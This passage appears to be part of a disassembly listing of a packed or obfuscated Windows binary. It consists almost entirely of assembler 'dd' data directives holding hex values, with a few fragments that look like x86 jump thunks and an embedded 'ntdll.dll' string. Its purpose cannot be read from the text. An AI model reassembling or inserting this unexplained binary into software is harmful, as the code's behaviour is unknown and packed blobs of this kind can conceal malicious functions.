0CB4EF043h, 260E050Dh dd 0D7B99B66h, 1A49B761h, 900CF3FDh, 0B79DFE53h, 5BD73D17h dd 37ED157Bh, 0C41CA29Dh, 545C050Dh, 0F554EEB4h, 0CE4BCD9Bh dd 0AB7BA3E9h, 3EFD1048h, 0C730CA0Fh, 300D37Fh, 0AB57F73Fh dd 0D3882E09h, 0F8C80300h, 88141AB0h, 28AA01A0h, 0D22FF595h dd 8459A1F7h, 0AB7DFBADh, 0D122F8BDh, 9396EB4h, 8B663C04h dd 338B74AAh, 73050760h, 0B14B1B43h, 7D177958h, 0C94C308Fh dd 928F22E4h, 3F77E1B7h, 8FEA676Fh, 0C82E03D9h, 9424F144h dd 0FB234F2Ch, 9F99497Dh, 48AB2402h, 2E561E18h, 14DB0637h dd 314CC209h, 947h, 4E96F2D5h, 87EFB193h, 0D43C6A4Ah, 6C74D839h dd 0B8C094F1h, 0E5C6DD99h, 5FBA57BFh, 126CE109h, 0C1213C44h dd 38DC739Bh, 0E2873Fh, 0E55FC703h, 0CB15916Ch, 2804050Dh dd 3F19F87Eh, 6E74EF69h, 0FBDF2186h, 50B61CF1h, 91EE4903h dd 70F34E2h, 0B240CC2Ah, 88DA5715h, 0FD612169h, 22021FB5h dd 0D71F45A1h, 26989B3Dh, 66030A4Ch, 732DD05Eh, 1FDE50F0h dd 97FD074Fh, 0C22B14CEh, 62093598h, 8AC20394h, 56D8147Bh dd 0FD6C53A5h, 441E4641h, 0BFC78DE5h, 71E44A2h, 910E900h dd 0A4A7C63Ch, 0B8000008h, 76EBF355h, 29244C12h, 9C7199CFh dd 5489D187h, 34C52D7Bh, 184CA93Ah, 52061DF0h, 0ADFBD70Ah dd 0E4AA8845h, 9661039Ch, 300E120h, 0BC7AF060h, 50DCBFEh dd 4991C7DFh, 5AF0A5A3h, 34BD35D9h, 0F7AD950Fh, 26A381Ah dd 0B3A5F3CFh, 852DAh, 7F956600h, 0FA9E6C26h, 254B0D4h dd 9842D71Ch, 819832C8h, 4D4937A7h, 19562C0h, 0BA855FD9h dd 50D3704h, 0D9347C44h, 0E3A395FBh, 6277C023h, 0FFC70F34h dd 1D348679h, 187C030Ah, 435CBD94h, 7D63A4D3h, 0C40C1853h dd 80094E04h, 4990B5E1h, 54000001h, 241240A2h, 67DF58F2h dd 27050DCBh, 97F24F1Fh, 0ECCA57C1h, 8B66B0A6h, 0DB26E6AAh dd 8C41A9FFh, 939222B2h, 0DB450B68h, 3E66A8F9h, 0F8AC8564h dd 6164CE28h, 0EF9F9832h, 79050D65h, 7FD284E0h, 81C53365h dd 23151DC1h, 0E7777D45h, 782E088Bh, 668EB6FEh, 3D98FEBh dd 0C282C82Eh, 445FB264h, 0A2622214h, 0D66F141h, 0E5CFD305h dd 36B3915h, 1DB7E4F9h, 0D65A422h, 6AECD405h, 0BCC494EFh dd 0BE8C42A1h, 35082791h, 991D1EE3h, 0D9050DEBh, 4D1B74E9h dd 68C11305h, 94D04608h, 430969F4h, 3C1DB7D5h, 17827422h dd 0BDE96F39h, 3BB1D575h, 0C81040A3h, 0B06A3E15h, 0EB991D1Eh dd 0E9D9050Dh, 43E53F39h, 0DEB4EF0h, 38260E05h, 6A743F81h dd 0E329F965h, 401AB0E5h, 7C78DE9h, 34D0BB24h, 93FBCB0Fh dd 0C3351B7Eh, 653F6C61h, 0AAA189Ah, 0DE586803h, 0ED44A8B0h dd 0F563350Ch, 10465CB1h, 496ED70h, 0BFEB6B46h, 0F2B452B4h dd 56F5DD79h, 0CD2CE62Eh, 0EDE5A5F3h, 0C94F1170h, 964C697Fh dd 64AF91A8h, 27E72C48h, 1C55A29Dh, 0DDE50933h, 40CC2A07h dd 0FB6457C1h, 2A2C547Ch, 0AFA2AA7Ah, 61FC0454h, 0BD375F05h dd 6C267F95h, 34C91E93h, 0E2C1580Fh, 5C0CB8BEh, 3BA690A0h dd 956F77D9h, 19AB17E5h, 0AD8EB27Eh, 633057FDh, 18C07AF5h dd 9488050Dh, 3E5A3920h, 3E21AFDBh, 27000000h, 61D646A2h dd 3B837C39h, 7B050D34h, 619EC54Bh, 1C9F99C1h, 50D0E9Ah dd 0E27C7048h, 4B88D086h, 50D2D37h, 0FFB63243h, 0D46EFFFFh dd 0D2FD36Bh, 0F44AB505h, 0B4050D2Fh, 0C0F08Ch, 1E44A25Ah dd 617E564h, 3748B8Ch, 0CB2D0BDBh, 4F257E95h, 0AF2C04E5h dd 51DF0751h, 547183ACh, 0D73FEFB0h, 1829C7Dh, 95357D23h dd 5F7ED5EFh, 3825B2DAh, 23000000h, 4F257E95h, 0CBA41AE5h dd 9E4050Dh, 673D652Bh, 0CBCC72CDh, 0A48C050Dh, 63E57EE4h dd 5A1046A2h, 7A2C04E5h, 0E54739AAh, 0E37E2804h, 2B5BDD83h dd 201A7Bh, 95A60000h, 3A20E37Eh, 0DC9D7389h, 0F73F6541h dd 0A41AE57Dh, 0AD050DCBh, 63E56F05h, 5A1046A2h, 42A248CCh dd 15A92214h, 0C7050DCBh, 8C26F9F3h, 0CBB509EAh, 0CDF5050Dh dd 0DCBE84Eh, 0C898A805h, 254D1B75h, 68A3816Fh, 423ACF5Ah dd 3927A70Ch, 42025E51h, 0D9833E1h, 8F1A7B05h, 0A6FFFFF4h dd 7A1046A2h, 59DF89E7h, 0CF157D2Dh, 3506DC99h, 0F34F030h dd 0BD01F250h, 0FD030AD2h, 0D262D427h, 1222030Ah, 4D1B77EAh dd 22981305h, 3030AD2h, 14857325h, 90F36E38h, 0ED6B3915h dd 1C8771B9h, 0BD496E46h, 1DFC5359h, 0A3E35503h, 802A69E3h dd 7F1B5E1h, 77000000h, 15Eh, 7F95DA00h, 30CA6C26h, 0DCB7FC7h dd 57F73F05h, 34E21BD4h, 5DDBEB0Fh, 0AAB2E4FCh, 0AEDD8A9h dd 672D0903h, 4DA4851Fh, 0B9691D1Bh, 461C4AA4h, 8D888EBh dd 9BCF782Eh, 0ED6CEABEh, 1F57C197h, 0F97F2502h, 0FCC12B4Fh dd 0CF9F1509h, 805DA5F3h, 9875FCA2h, 9D6DD4BAh, 7B5B33B9h dd 0F950C015h, 6D17B79Dh, 5A5F6ED5h, 0BB9970B0h, 522A35D5h dd 0E000001h, 0CB338B74h, 4373FA8Dh, 17E5D983h, 0E3C3CC19h dd 933FB3BDh, 64280904h, 3812B2F2h, 7DDC7625h, 0E9933361h dd 0CBA11AE5h, 1AA8050Dh, 0E294FA40h, 92762F09h, 0DF61DA1h dd 2D555D05h, 63E5877Dh, 66FB4C5Bh, 201F9905h, 0FFB174D6h dd 0AC5749B7h, 91D5AE3Eh, 44A20BF1h, 176CEFCBh, 571F1941h dd 0BFB9552Fh, 0B5E37E95h, 6BB26CADh, 0E5A35981h, 0FD7B2D04h dd 0E553051Ch, 0A1A979A1h, 5BD705EBh, 60CEAA4Eh, 79295107h dd 2A04E583h, 57CAFA7Ch, 967C2C7Ch, 0B2DA5FC1h, 8868h dd 0C92ACC00h, 0F80DCB75h, 32100D35h, 0EABAEA6Ch, 257E9570h dd 25B1926Fh, 878B4922h, 0E4A4EC96h, 0A41AE57Eh, 0E4050DCBh dd 0C82B06DCh, 36D69E98h, 2D04E54Ch, 19C9FD7Bh, 7750A943h dd 0A2FB6121h, 0A07A1046h, 0CB892D0Eh, 0F9C9050Dh, 0DCBC47Ah dd 0F9C5F605h, 26F71D4Ch, 30AA7A4Ah, 7E2804E5h, 959B3DAEh dd 5FD836F9h, 50D3DE7h, 0F2919FA7h, 0E79D4DC7h, 365Eh dd 0A67FA00h, 0CBCB73CCh, 0BB8B050Dh, 1C18573h, 0F07E955Bh dd 0EE84CC92h, 0CBA41AE5h, 5AD050Dh, 0CE94F24Fh, 43E5641Eh dd 4B09D2FDh, 0B45447FFh, 1046A2CEh, 5E48CC5Ah, 0FFFFFEA0h dd 1E44A2DAh, 0F359B918h, 31DCD359h, 0F8FA47A5h, 0D06A2028h dd 0C3351B79h, 0EB2E9083h, 466E050Dh, 8F468C86h, 0DEB0AACh dd 327A4A05h, 0D32CC698h, 50DEB6Bh, 0A6181B2Bh, 0E6050DEBh dd 8B740EDEh, 0F34B836h, 0DB63DC76h, 9B030ADAh, 7AF563ABh dd 30ADAC0h, 39209488h, 0B5E1785Ah, 2021h, 7F952700h, 0DA936C26h dd 3A0F34C1h, 2F930C0Ah, 67030AC1h, 0C1868963h, 48B5E175h dd 0C7h, 1E44A28Ch, 85CB918h, 7FB3930Eh, 0DCB3AFCh, 24A7A05h dd 0E7AD8514h, 0C7225C9Fh, 53B3050Dh, 0A68E50Dh, 1270D244h dd 0CFDE60D3h, 969E050Dh, 7C55B46Eh, 0A6662E28h, 0EC12231Ch dd 0A5840F34h, 691D1B49h, 8C6FC5B9h, 30AEE2Ah, 0E6B28F6Ah dd 7DDC76BEh, 0C6223F65h, 3EEEA690h, 9DC60CD6h, 322F74C7h dd 0D7DF0935h, 95C3DC3Dh, 1E7AD74Dh, 8B86CE48h, 3470E6AAh dd 2DAC8994h, 0CE478FD5h, 9113D43h, 4C126BE1h, 0D0000002h dd 8E43ABFDh, 419CE4AAh, 34293167h, 0EC6189DFh, 9CBDC593h dd 0B0E4C1E2h, 0A5EB5A8h, 45136FE2h, 9CC2203Dh, 3E39DB74h dd 300FB78h, 0A2D2A838h, 0BDE3C641h, 92F06D75h, 0E5CEA4CCh dd 55AC2F04h, 295DDB03h, 0D989DF34h, 8A401573h, 34C1E4A9h dd 663C040Fh, 2BFBAD8Bh, 0D2360BCDh, 0E35FDC8Ch, 0AB030AC1h dd 4EA3DB7h, 87016E68h, 62E8B83Ah, 0B5E20225h, 2F7150A9h dd 83E07D29h, 7B2B5BDDh, 0BFE4h, 44A26000h, 0BDBBEDCBh dd 6A3C1409h, 48A53422h, 0E5A11A1Ch, 74050DC7h, 2D20481Eh dd 3F898FD5h, 991D1E29h, 0D9050DCFh, 8EBA1E9h, 0F34EC3Fh dd 9112728Fh, 0B1A7EFB5h, 9FA5CDF5h, 4582EA49h, 0BDB9B61Bh dd 0D05CDF75h, 640935E7h, 1EEC865Ch, 21881511h, 0C7DF32DCh dd 136CF191h, 0C7203D45h, 83C92E03h, 3082E90h, 1E466E05h dd 110C1407h, 431A1009h, 14Fh, 46AEFACDh, 9FE7A98Bh, 2C346242h dd 648CD031h, 0B0D88CE9h, 9DFEE561h, 57B2AFB7h, 0A64F901h dd 0F9D9345Ch, 30D44B93h, 0FA7FC7h, 0DD573F03h, 791341A2h dd 0CDC82E0h, 632909C4h, 922417A9h, 0D2050DCBh, 502A22E2h dd 0E9CB44A2h, 5FF97FA7h, 0B8BEE4C2h, 6F35110Ch, 1E44A2BFh dd 0F0D2F644h, 58A3A15Bh, 0E36D7CE6h, 0D8881FDBh, 277C6AB0h dd 7CF5926Dh, 7D450F34h, 0B46C4AA7h, 0A72F34Bh, 5B83B303h dd 0AA0CEF81h, 0EA030A72h, 0FC20ADAh, 5DF76137h, 4BB46E37h dd 9394C1Dh, 0E178D1E1h, 5709151Fh, 0A5BCD1h, 54BB0000h dd 1371ECF4h, 0CC28254Dh, 869F729Ah, 7A578AD2h, 3B37C62Eh dd 0F1194FA8h, 0B53051Ch, 46AEF4D6h, 9DE5AB8Bh, 21956602h dd 610300F9h, 7F957BF1h, 54C296F3h, 0C132E810h, 0F3EF32Bh dd 28A9AF97h, 0A67C84CAh, 6838684Bh, 61D7BD95h, 177D5AB7h dd 46A56521h, 0CFD15137h, 16E8CCC6h, 88026A30h, 5C0C50B1h dd 0BDBBE1C1h, 0A791C7DCh, 8D8BD93Ah, 0F660360Ch, 94F2E178h dd 63F89D67h, 0D6387D77h, 3210EAC2h, 0E9C9046Ch, 98F6F565h dd 5BB5EEEFh, 135B0B0Dh, 8106DEBh, 0A8000000h, 7B2D04E5h dd 0A2EB8DABh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h dd 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 89512424h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 5E08950h, 4 dd 8704E883h, 895C2404h, 0BE562414h, 7C2316FAh, 691D6856h dd 0C15E1CCBh, 0EE8108E6h, 1D7478C2h, 459FF681h, 0F681296Ah dd 6AECECEh, 295EF189h, 0B1685EF1h, 8900007Dh, 4812424h dd 424h, 0B8505A00h, 8, 8F51D001h, 148B5800h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 592434FFh, 4C481h dd 0F3E90000h, 0ADFFFA49h, 689C5AC7h, 0BA9029E6h, 0E034FA1Ah dd 0E3B8FF1Ch, 3060D32h, 85C650C5h, 6071C4Dh, 17256847h dd 0B5FFCF38h, 60701A9h, 3A13858Dh, 0D0FF0607h, 858DD88Bh dd 607272Dh, 1046850h, 0D3FF0000h, 1C4D85C6h, 68530607h dd 8307F8BFh, 1A9B5FFh, 858D0607h, 6073A13h, 8589D0FFh dd 60D1656h, 32B9BD83h, 0F000607h, 0B84h, 0D99D8B00h, 0E9060730h dd 5, 0BBh, 1006800h, 0B58D0000h, 60D165Ah, 95FF5356h dd 6071AE1h, 165AB58Dh, 0F003060Dh, 1E9h, 3E804E00h, 9840F5Ch dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 0D165A85h dd 95FF5006h, 60D1656h, 20E0FF58h, 0AF5BCEFEh, 413F3A36h dd 0F06A86A7h, 38164EACh, 0A94ABE31h, 5323DC48h, 0DD1809C7h dd 9803B58Fh, 3222FA28h, 0B73CAC33h, 1E38DD38h, 0E8395EE0h dd 0Bh, 0DD733DC2h, 8F73E778h, 663B2716h, 0A6E0DF81h, 0F98B665Ah dd 5BF6C281h, 0B6BF0000h, 0B844B8A6h, 16D0h, 0E68EBB66h dd 0F3810A8Bh, 3FB6D081h, 0DC67E981h, 880F6F51h, 0 dd 0CEC0C181h, 6E81C79h, 36000000h, 32D3C93Ch, 0C3816690h dd 815F7FE4h, 99A4DDE9h, 800F5148h, 0Ch, 68D0Fh, 0E7810000h dd 1C863961h, 8166028Fh, 83368AC6h, 13E804EAh, 3E000000h dd 1D061FF0h, 63925B63h, 707262E6h, 0FD40951h, 5FF50D30h dd 0F01E883h, 1085h, 21DF8100h, 0E9542729h, 16h, 0C5BD027Dh dd 0E7816649h, 75E97291h, 3AFFFFFFh, 17EDC206h, 8D8D79DEh dd 60D3636h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 37C35545h, 0BC8AC945h, 1B418D89h, 6A0607h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0EA465C3h, 0C77C7639h, 7060585h, 67EC06h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8F0F194Dh, 6, 2C55858Bh, 858B0607h, 6071C41h, 10C88160h dd 0F0CC524h, 683h, 0DB58B00h, 6106071Bh, 6985C7h, 607h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 816697C3h, 0FFC444C8h, 72C11B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0C777992Ah, 95FF8544h, 60701E1h, 5CFABF66h, 95FF006Ah dd 6073201h, 9EBC08Bh, 0EF11191Eh, 796F3041h, 0DA8D8DFEh dd 0B6060D36h, 259D8B86h, 89060718h, 71B418Dh, 0C7F78B06h dd 7060585h, 5BC006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 958926CEh, 6071B29h, 6985C7F8h dd 60700h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 689C351h, 8964C7D7h, 6D66F2D3h dd 0FFD1B70Fh, 73041B5h, 831B806h, 95FF4B0Fh, 60701E1h dd 9D8BF28Bh, 607076Dh, 95FF006Ah, 6073201h, 5AEBC08Bh dd 76DD795Ch, 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h, 4E436640h dd 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 5ACF78F5h, 8A042F94h dd 0A3374469h, 0F87342D2h, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h dd 2EF3C1Ch, 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h dd 0C85E22ABh, 0EF03E40Fh, 26EB6143h, 33B61B90h, 558EAFECh dd 6C64746Eh, 6C642E6Ch, 2188006Ch, 5D340746h, 0F273A3D2h dd 2500h, 0 dd 4CE90000h, 68000006h, 60D389Eh, 0FA4609E9h, 396168FFh dd 0FFE9060Dh, 68FFFA45h, 60D3A06h, 0FA45F5E9h, 3ADF68FFh dd 0EBE9060Dh, 68FFFA45h, 60D3B9Ch, 0FA45E1E9h, 3C7268FFh dd 0D7E9060Dh, 0FFFA45h, 0FE137B2Dh, 0B1ACB49Ah, 64F90157h dd 0DC31590Fh, 0AC4D95C3h, 80D431B2h, 0DA8EE578h, 15435FB2h dd 6C3210CDh, 0EE98B04h, 300FCA8h, 4FA278E8h, 74302672h dd 38E8BC99h, 135E42h, 0A2DA0000h, 0B9181E44h, 68EBF359h dd 50DCBD2h, 0B9C197F3h, 267F95C3h, 0C072936Ch, 0F2C20F34h dd 0C3378B04h, 3316030Ah, 0B6EEB6Dh, 0ADB5D345h, 82866247h dd 7360272Ah, 5327B5E1h, 2D000002h, 0A8818A69h, 0F7401A4Ch dd 50DCB4Fh, 0AD67270Fh, 605538A7h, 9C0D19D8h, 2729E32Ah dd 64AC6BC7h, 0FE104DAEh, 0D0E00F34h, 24021F85h, 0D385E37Eh dd 82612165h, 47D86E29h, 36EC89DFh, 1D6A28C5h, 0AEA898CDh dd 0FF95CE04h, 1DEEBC7Ch, 4FA200CBh, 80362573h, 0C0C72915h dd 5F051DF0h, 869C7D17h, 2C1288D0h, 1D79E693h, 9B85C137h dd 0FDADADA6h, 0C55C0260h, 46FB5B57h, 6C3E5FD5h, 3C000004h dd 0FA177F29h, 0ADA0C89Eh, 60FD0553h, 0D8355D03h, 0B041A9FFh dd 84D02DB6h, 0DE82E17Ch, 297F5BB6h, 60360CC1h, 12ED8718h dd 300F3ACh, 0A28E64ECh, 8E181E44h, 0F6411B58h, 0F34F1E1h dd 6C2457A1h, 0CC8273EDh, 0E72F7551h, 0D16A899Fh, 9628E2B3h dd 1F759BBh, 0E9A68545h, 19093369h, 20DCC29h, 509DAE8Ah dd 5EB399F9h, 0D278287Eh, 0CA35EFB4h, 97A9E32Dh, 3E60409Dh dd 0E1FD5CF6h, 0A70F4DB3h, 0FF3E54E6h, 697FC92Fh, 5BBB964Ch dd 579FC120h, 0B14BEDB7h, 970FF046h, 0C080B09Bh, 0A988DD63h dd 0BB516191h, 0AF8840A6h, 9D9D7317h, 85EBA57h, 9D7098C0h dd 0E446DF85h, 4E708F35h, 3A9B5C8h, 0ECC30000h, 5BB954BCh dd 1470EDF5h, 0CE273A42h, 829F729Ah, 0F36F8ED6h, 0B9C197F0h dd 0F31B4DA4h, 0E563C1Eh, 45ADF3D3h, 69CD2ECAh, 290300F2h dd 44A2C3B9h, 89E5441Eh, 9B2D0BDBh, 6E15EE4Dh, 40B6E2FFh dd 96831A04h, 38D288B0h, 989EC221h, 863F3CECh, 0C60F34DEh dd 64C96FEh, 4EAA875Dh, 41B24818h, 9398F3Eh, 2A10CAFAh dd 421B7282h, 8B51F16Bh, 0C2DF50B6h, 0CB066E96h, 0F9DA37EBh dd 3916A8ABh, 6E560507h, 70963026h, 56CB91F6h, 28E22A70h dd 3E1E8ACFh, 0D34A7A0Fh, 311FE59h, 40459DFh, 0A4000003h dd 62FF0741h, 0D5085006h, 8845ADFBh, 409DE5ABh, 8293167h dd 2C78554Eh, 662A09C4h, 0B1E7C31Eh, 85EB4A9h, 0AA952FE0h dd 300F114h, 0A276CC54h, 0C7BE8C44h, 0D501BA33h, 92793D3Eh dd 939050Dh, 0C1250BC1h, 129664BAh, 9A6ACC2Fh, 1A2A050Dh dd 34647FD2h, 64C282C2h, 5DF84C2h, 34BD213Ah, 951610Fh dd 17F28h, 8F695000h, 0E7BDE6ECh, 0AC7C2A0Ah, 0EF682516h dd 0A8980F34h, 0CEEC8E4Dh, 6C7A76C9h, 5A29D37h, 93FC0F1Dh dd 2F45ABEh, 0A6F2CF42h, 0CC4A7AE6h, 58DB370Ah, 65211779h dd 0A1A76D3Dh, 5FDD5EF4h, 0E3FA0FB5h, 0C22039D3h, 3E386C49h dd 6C264E76h, 4ED569CAh, 0AD95F63Bh, 0CE0260FDh, 3B4EC96Dh dd 71B989F6h, 0E9689A98h, 8BE25815h, 22Bh, 0D63E6A7Dh dd 6F77D93Bh, 0BCC492F2h, 0F41C40A1h, 683C19h, 0D6E75F1h dd 0C7223F47h, 0BA944991h, 694984ECh, 0A044DB23h, 0F1EF57h dd 4D27AF03h, 4EF043E5h, 0E050DCBh, 0BB9B6626h, 9A653FD5h dd 50DCB24h, 0AA8C5C64h, 383BCA18h, 50DCB86h, 163FEC6h dd 0DB7D175Fh, 0DCBE658h, 0CE9EA605h, 0F1D2CB34h, 0A2920F34h dd 88B34C5Ah, 0F043195Ah, 933F5B7h, 0E5AB8861h, 6C89B925h dd 6A2656EDh, 0D56BC96h, 184BE457h, 0CBFB81D5h, 0C8EDFB4Dh dd 83E17812h, 52CD9F1Bh, 367E2FF1h, 67C484C0h, 87D5E2D9h dd 0E6A88865h, 2D05E4BEh, 0E4C21F67h, 1BE1A7BEh, 999F7A33h dd 16EC4h, 71D73E00h, 0CA9CF469h, 751AFA2h, 5F0562FFh dd 0ABF9DA37h, 2BB8B243h, 9F729ACEh, 518CD484h, 0AC72F75h dd 811E662Ch, 0F0A214E7h, 72E20300h, 1E44A2F8h, 763FE18h dd 0B2AFE751h, 0C9430351h, 67310F9Bh, 259A653Fh, 650F34E5h dd 49AA875Dh, 0A9034B1Bh, 4EF043E5h, 0E050DCBh, 0A6AC6626h dd 9BD427FDh, 6B0F3E92h, 36473F9Dh, 0ADD50B5Ah, 6C3A1AF7h dd 4FA7BAEAh, 0B7571F19h, 60360CEDh, 0A7EDC518h, 0A4F117B1h dd 7A620DEEh, 0EED60933h, 0DEAC9234h, 0E50B065h, 92CCB100h dd 0D3176FF2h, 0DA3DE60h, 6E969E05h, 2A7E55B4h, 0D6C4BE2Ch dd 6DE8E2B9h, 0F06D6525h, 0F84ACC92h, 3E13C9EAh, 0ED474DAh dd 3459D02Dh, 0F950600Fh, 3185C8Dh, 984C2127h, 0D0000000h dd 8E43ABFDh, 419CE4AAh, 34293167h, 0EC6189DFh, 9CBDC593h dd 0B0E4C1E2h, 0A5EB5A8h, 45136FE2h, 9CC2203Dh, 3E39DB74h dd 300F778h, 95D2A838h, 936C267Fh, 0F3E92DAh, 0CA0C0A3Ah dd 0FC7FC730h, 653F0300h, 0FC249Ah, 145C6403h, 0C389E974h dd 1A40A6BBh, 88FA31Ch, 60622433h, 0CE94F28Ch, 0E94AECA6h dd 200D3055h, 0E07D2D15h, 0FF5ADC82h, 2644B2E6h, 2200DAD2h dd 99F9147Ch, 0BE9345B3h, 3756F65Ch, 0Fh, 0F96B9F6Dh, 8F71273Dh dd 3C3D07Ch, 0A2FF7959h, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh dd 32D95F01h, 5585450h, 4, 8704E883h, 505C2404h, 405E089h dd 83000000h, 48704E8h, 14895C24h, 20FE6824h, 3C890000h dd 0BFBD5524h, 0BA32BD4Ch, 0D34FEAE3h, 2C8BEA01h, 4C48324h dd 13FB68h, 24248900h, 4240481h, 5F000000h, 8BB53h, 0FB010000h dd 1C8B1389h, 4C48124h, 0FF000000h, 835F2434h, 34FF04C4h dd 0C4815A24h, 4, 0FA3FD5E9h, 548EFBFFh, 0D65E8858h, 974AF39Eh dd 0B804BAB2h, 60D3D2Fh, 0E0FFC503h, 30AC3476h, 53D86DB6h dd 6EE4118Ah, 7A470493h, 498DBFADh, 4F060626h, 4C9824CFh dd 1277E38h, 520B0FEEh, 5935DD9Eh, 6F8F085Bh, 4A3E254Fh dd 0F80AF69h, 86C03D7h, 3A3B2E70h, 67A945CCh, 7182564Bh dd 64B46953h, 5E8h, 50FD9400h, 8B66C746h, 816659D6h, 81227DE3h dd 5EEBC1h, 0CE900h, 7A180000h, 2E0315FBh, 15CF39A9h, 84B885EFh dd 0F9000017h, 11E9398Bh, 0CB000000h, 9004DE0h, 4E03F535h dd 0D707FD75h, 242C214Eh, 9A11EF81h, 0F9603109h, 0DE9h dd 0AAF2300h, 0F7F42D93h, 0F5D10209h, 8161CD87h, 0CDF23EF7h dd 0F1F7815Dh, 662067C2h, 2548F281h, 0D2813989h, 793F4FF2h dd 9E3DE981h, 81F81ED8h, 0D89E39C1h, 0F5BE661Eh, 850F48E2h dd 30h, 12E9h, 0D650AD00h, 64578BA8h, 38F48059h, 0DE6FBFDDh dd 0E9E4E801h, 34h, 0A544E773h, 310D321Eh, 3F9F08C8h, 6BF9F3E3h dd 0D35F3BFAh, 0BE9h, 0F74D6100h, 4D958AE8h, 78D84B63h dd 0FFFF57E9h, 0A6928FFh, 0D04C790Dh, 0AAB3AD0Eh, 8EBh dd 86830000h, 7AE973DEh, 68000004h, 60D3FDFh, 0FA3E79E9h dd 407568FFh, 6FE9060Dh, 68FFFA3Eh, 60D41A0h, 0FA3E65E9h dd 95FB6FFh, 42146CE1h, 9FC9273Ah, 0D7BD9A77h, 2371528Fh dd 0A3403ADBh, 17CA1246h, 0C9046C3Ch, 825FA7EDh, 3996FEA4h dd 0F41A9C9Fh, 0CA5A0300h, 1341A270h, 9A5EB425h, 0DCB2599h dd 0AB886505h, 0B3373E5h, 7391BBC3h, 56CB9DF7h dd 792D2B71h, 0B6959B31h, 6CB34FBDh, 789D2112h, 0D5DD050Dh dd 0D427FDADh, 0F345A13h, 0DA55C3F3h, 30A5960h, 59C03428h dd 0B5E1FCFAh, 2BE81h, 4E996700h, 3F85C7B3h, 0A5BBDC2Ch dd 28507AEFh, 99698278h, 9C390F6h, 34EF712Eh, 0A4B1810Fh dd 91B99CA5h, 376C7A7Eh, 0B341A29Dh, 0C1F1F456h, 0CE97FD57h dd 0EAA02B14h, 0FCC4F251h, 0A5EBCB26h, 0FCA2805Dh, 0BDB48765h dd 0CEAFA50Dh, 2DEh, 0D63E6A7Dh, 6F77D93Bh, 0BCC492F2h dd 0F41C40A1h, 683C19h, 0D6E75F1h, 0C7223F47h, 0BA944991h dd 694984ECh, 0A044DB23h, 0F4EF57h, 4D27AF03h, 792F04E5h dd 3D17B7FFh, 32D48ED7h, 0A791C7DFh, 673C3FEFh, 0F10F3E8Ah dd 0F55ADC5Fh, 1A7B0300h, 0E884C036h, 8D3102D8h, 0CD0300F5h dd 89B925E5h, 371D7ED3h, 83D1322Fh, 88EE4395h, 681CC504h dd 0F63E0B15h, 9A66D556h, 5BBB0300h, 65229467h, 2603FCFFh dd 2CC08472h, 7145DC04h, 330F2D47h, 248A03Dh, 0F0D70000h dd 0B78D40A8h, 684499E1h, 0DA3BD63Eh, 96F36E76h, 0DF9BBAC2h dd 55BDEBC4h, 0EFF759B8h, 3A421072h, 7199CF27h, 85393ADEh dd 0C503008Bh, 7F95E75Dh, 86CE92F3h, 8AD673CCh, 5E660F3Eh dd 0F5DB67D8h, 0BF930300h, 0A575D235h, 883CB5E7h, 18000001h dd 0F87E2201h, 0A2661CCCh, 0F6441E44h, 2473AD7Ah, 0C48AEE1Dh dd 0EF6ACC9Ch, 93B9C197h, 896A2075h, 0F34B930h, 6DB98670h dd 0E5BE5E50h, 7AC0BBBDh, 32030AF6h, 1473D6DEh, 0DEB5E1A4h dd 60949D50h, 3739F90Ah, 7FB573BCh, 3F00C064h, 25h, 267F95C5h dd 0E0B48D6Ch, 0D4999A20h, 340F34C1h, 29910A0Ch, 61030AC1h dd 0C380876Dh, 4AB5E175h, 0A3h, 0D844A28Eh, 0F23F5E7Ah dd 94EC61D1h, 0E81054C2h, 5096F36Eh, 0DC55FE7h, 0EF171F05h dd 118AE869h, 35236B31h, 0F0184EA4h, 0DCADD03h, 0E9624005h dd 175FD98Fh, 4867E529h, 6B9330BCh, 42A38903h, 0CF5BE7E8h dd 94F25808h, 732A15CFh, 8F0F322Dh, 330CEDA7h, 0E7C01D65h dd 716058B1h, 10160316h, 11D7Dh, 7D2B0200h, 0B698F815h dd 355B3AEh, 5B0166FBh, 97FDDE33h, 2FB4AE4Fh, 0E37E86D2h dd 5588D080h, 0EC32B79h, 851A6228h, 8AAE10E3h, 66EE0300h dd 1341A28Ch, 0BF3016CBh, 4F07F1A7h, 0E505FF07h, 0AE7E2804h dd 772D7353h, 9C86F989h, 39E9696Ah, 1E44A23Fh, 0E7FD5CF6h dd 2D3B11B1h, 0F06CD288h, 0EAB89A86h, 6036386Ch, 40F64191h dd 50DE5h, 82580830h, 34935DB1h, 460FD0Fh, 78A0E452h, 0B4724FA2h dd 2E2D7B55h, 30AA888h, 0BA273EC8h, 8B11C8DAh, 0F31B43h dd 30A5EBAh, 8DD5BB9Bh, 6B217750h, 3BEBB196h, 70A03Dh dd 0E5D80000h, 0FD7B2D04h, 0D53319C9h, 0CC69CA80h, 7C0F3E8Ah dd 3910C234h, 0C78F89DFh, 76DC3A07h, 0B93F36Eh, 51276152h dd 2B936C5Bh, 6B030093h, 162D135Bh, 970AFF89h, 94170149h dd 0F9753AF0h, 0CD2E0319h, 35D59187h, 2303DBD1h, 9AF8157Dh dd 43101EB4h, 401EDA1Ch, 6AF77111h, 0B3D1470Dh, 